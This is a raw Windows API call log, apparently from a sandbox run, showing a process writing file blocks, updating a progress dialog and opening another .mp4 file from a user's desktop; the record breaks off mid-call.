[0062.549] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.549] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.550] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.553] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.553] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.554] GetFocus () returned 0x10232 [0062.554] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.554] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.554] ResetEvent (hEvent=0x190) returned 1 [0062.554] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.554] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.555] ResetEvent (hEvent=0x190) returned 1 [0062.555] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.555] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.556] ResetEvent (hEvent=0x190) returned 1 [0062.556] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.556] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.557] ResetEvent (hEvent=0x190) returned 1 [0062.557] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.557] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.558] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.562] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.562] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.562] GetFocus () returned 0x10232 [0062.562] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.562] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.562] ResetEvent (hEvent=0x1a4) returned 1 [0062.562] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.562] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.655] ResetEvent (hEvent=0x190) returned 1 [0062.655] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.655] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.656] ResetEvent (hEvent=0x190) returned 1 [0062.656] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.656] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.657] ResetEvent (hEvent=0x190) returned 1 [0062.657] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.657] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.658] ResetEvent (hEvent=0x190) returned 1 [0062.658] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.658] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.659] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.663] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.663] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.663] GetFocus () returned 0x10232 [0062.663] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.663] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.663] ResetEvent (hEvent=0x190) returned 1 [0062.663] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.663] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.664] ResetEvent (hEvent=0x190) returned 1 [0062.664] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.664] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.665] ResetEvent (hEvent=0x190) returned 1 [0062.665] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.665] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.666] ResetEvent (hEvent=0x190) returned 1 [0062.666] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.666] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.667] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.672] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.672] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.672] GetFocus () returned 0x10232 [0062.672] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.672] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.672] ResetEvent (hEvent=0x1a4) returned 1 [0062.672] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.672] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.775] ResetEvent (hEvent=0x190) returned 1 [0062.775] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.775] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.776] ResetEvent (hEvent=0x190) returned 1 [0062.776] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.776] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.777] ResetEvent (hEvent=0x190) returned 1 [0062.777] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.777] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.777] ResetEvent (hEvent=0x190) returned 1 [0062.777] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.777] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.779] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.782] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.782] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.782] GetFocus () returned 0x10232 [0062.782] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.783] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.783] ResetEvent (hEvent=0x190) returned 1 [0062.783] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.783] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.784] ResetEvent (hEvent=0x190) returned 1 [0062.784] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.784] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.785] ResetEvent (hEvent=0x190) returned 1 [0062.785] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.785] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.785] ResetEvent (hEvent=0x190) returned 1 [0062.785] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.785] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.787] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.790] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.790] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.790] GetFocus () returned 0x10232 [0062.790] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.790] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.790] ResetEvent (hEvent=0x1a4) returned 1 [0062.790] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.790] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.902] ResetEvent (hEvent=0x190) returned 1 [0062.902] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.902] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.903] ResetEvent (hEvent=0x190) returned 1 [0062.903] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.903] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.904] ResetEvent (hEvent=0x190) returned 1 [0062.904] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.904] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.905] ResetEvent (hEvent=0x190) returned 1 [0062.905] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.905] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.906] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.909] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.909] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.909] GetFocus () returned 0x10232 [0062.909] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.910] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.910] ResetEvent (hEvent=0x190) returned 1 [0062.910] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.910] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.911] ResetEvent (hEvent=0x190) returned 1 [0062.911] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.911] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.912] ResetEvent (hEvent=0x190) returned 1 [0062.912] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.912] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.913] ResetEvent (hEvent=0x190) returned 1 [0062.913] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.913] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.914] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.919] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.919] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.919] GetFocus () returned 0x10232 [0062.919] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.919] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.919] ResetEvent (hEvent=0x1a4) returned 1 [0062.919] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.919] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.969] ResetEvent (hEvent=0x190) returned 1 [0062.969] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.969] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.970] ResetEvent (hEvent=0x190) returned 1 [0062.970] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.970] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.971] ResetEvent (hEvent=0x190) returned 1 [0062.971] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.971] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.971] ResetEvent (hEvent=0x190) returned 1 [0062.971] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.971] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.973] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.976] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.976] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.976] GetFocus () returned 0x10232 [0062.976] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.977] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.977] ReadFile (in: hFile=0x1b0, lpBuffer=0x8595840, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0x1bd630, lpOverlapped=0x0 | out: lpBuffer=0x8595840*, lpNumberOfBytesRead=0x1bd630*=0x0, lpOverlapped=0x0) returned 1 [0062.977] GetTickCount () returned 0xa66154 [0062.977] GetLastError () returned 0x0 [0062.977] SetLastError (dwErrCode=0x0) [0062.977] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0062.977] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0062.977] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0062.977] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0062.978] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=59820875328) returned 1 [0062.978] GetTickCount () returned 0xa66154 [0062.978] GetLastError () returned 0x0 [0062.978] SetLastError (dwErrCode=0x0) [0062.978] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0062.979] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:02:30") returned 8 [0062.979] SetWindowTextW (hWnd=0x10220, lpString="00:07:46") returned 1 [0062.979] GetTickCount () returned 0xa66154 [0062.979] GetLastError () returned 0x0 [0062.979] SetLastError (dwErrCode=0x0) [0062.979] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0062.979] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:00:17") returned 8 [0062.979] SetWindowTextW (hWnd=0x10224, lpString="00:00:55") returned 1 [0062.979] GetTickCount () returned 0xa66154 [0062.979] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c49280) returned 0x0 [0062.979] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49280, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0062.979] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49280, hwnd=0x1020e, ullCompleted=0x8564a3, ullTotal=0x954fe3) returned 0x0 [0062.980] TaskbarList:IUnknown:Release (This=0x3c49280) returned 0x0 [0062.980] GetLastError () returned 0x36b7 [0062.980] SetLastError (dwErrCode=0x36b7) [0062.980] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0062.980] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0062.980] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0062.980] GetLastError () returned 0x36b7 [0062.980] SetLastError (dwErrCode=0x36b7) [0062.980] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0062.980] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 43%") returned 5 [0062.980] SetWindowTextW (hWnd=0x1022a, lpString=" 88%") returned 1 [0062.980] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x59, lParam=0x0) returned 0x59 [0062.981] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0062.981] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0062.981] GetFocus () returned 0x10232 [0062.981] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0062.981] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0062.981] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0062.981] GetFocus () returned 0x10232 [0062.981] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0062.981] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.981] ResetEvent (hEvent=0x190) returned 1 [0062.981] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.981] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.982] ResetEvent (hEvent=0x190) returned 1 [0062.982] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.982] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.982] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x9ce0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x9ce0, lpOverlapped=0x0) returned 1 [0062.983] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0062.983] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0062.983] GetFocus () returned 0x10232 [0062.983] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0062.983] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.983] SetFilePointer (in: hFile=0x198, lDistanceToMove=661713, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0xa18d1 [0062.983] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0xa18d1 [0062.983] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0062.983] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0062.983] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492b0, Size=0x48) returned 0x34e340 [0062.983] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0062.983] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0062.983] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492b0, Size=0x48) returned 0x34e390 [0062.983] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0062.983] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0062.983] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0062.983] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492e0 | out: hHeap=0x290000) returned 1 [0062.983] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492b0 | out: hHeap=0x290000) returned 1 [0062.983] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49280, Size=0x48) returned 0x34e340 [0062.983] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0062.983] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x67, lpOverlapped=0x0) returned 1 [0062.984] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0062.984] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x67) returned 0x351590 [0062.984] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0062.984] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0062.984] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x76b618 [0062.984] CloseHandle (hObject=0x1b0) returned 1 [0062.984] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0062.984] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0062.984] GetFocus () returned 0x10232 [0062.984] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0062.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.984] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0062.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.984] FindFirstFileW (in: lpFileName="HAuM_g1AD_0J.mp4", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0062.984] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0062.984] CreateFileW (lpFileName="HAuM_g1AD_0J.mp4" (normalized: "c:\\users\\whuoxysd\\desktop\\haum_g1ad_0j.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 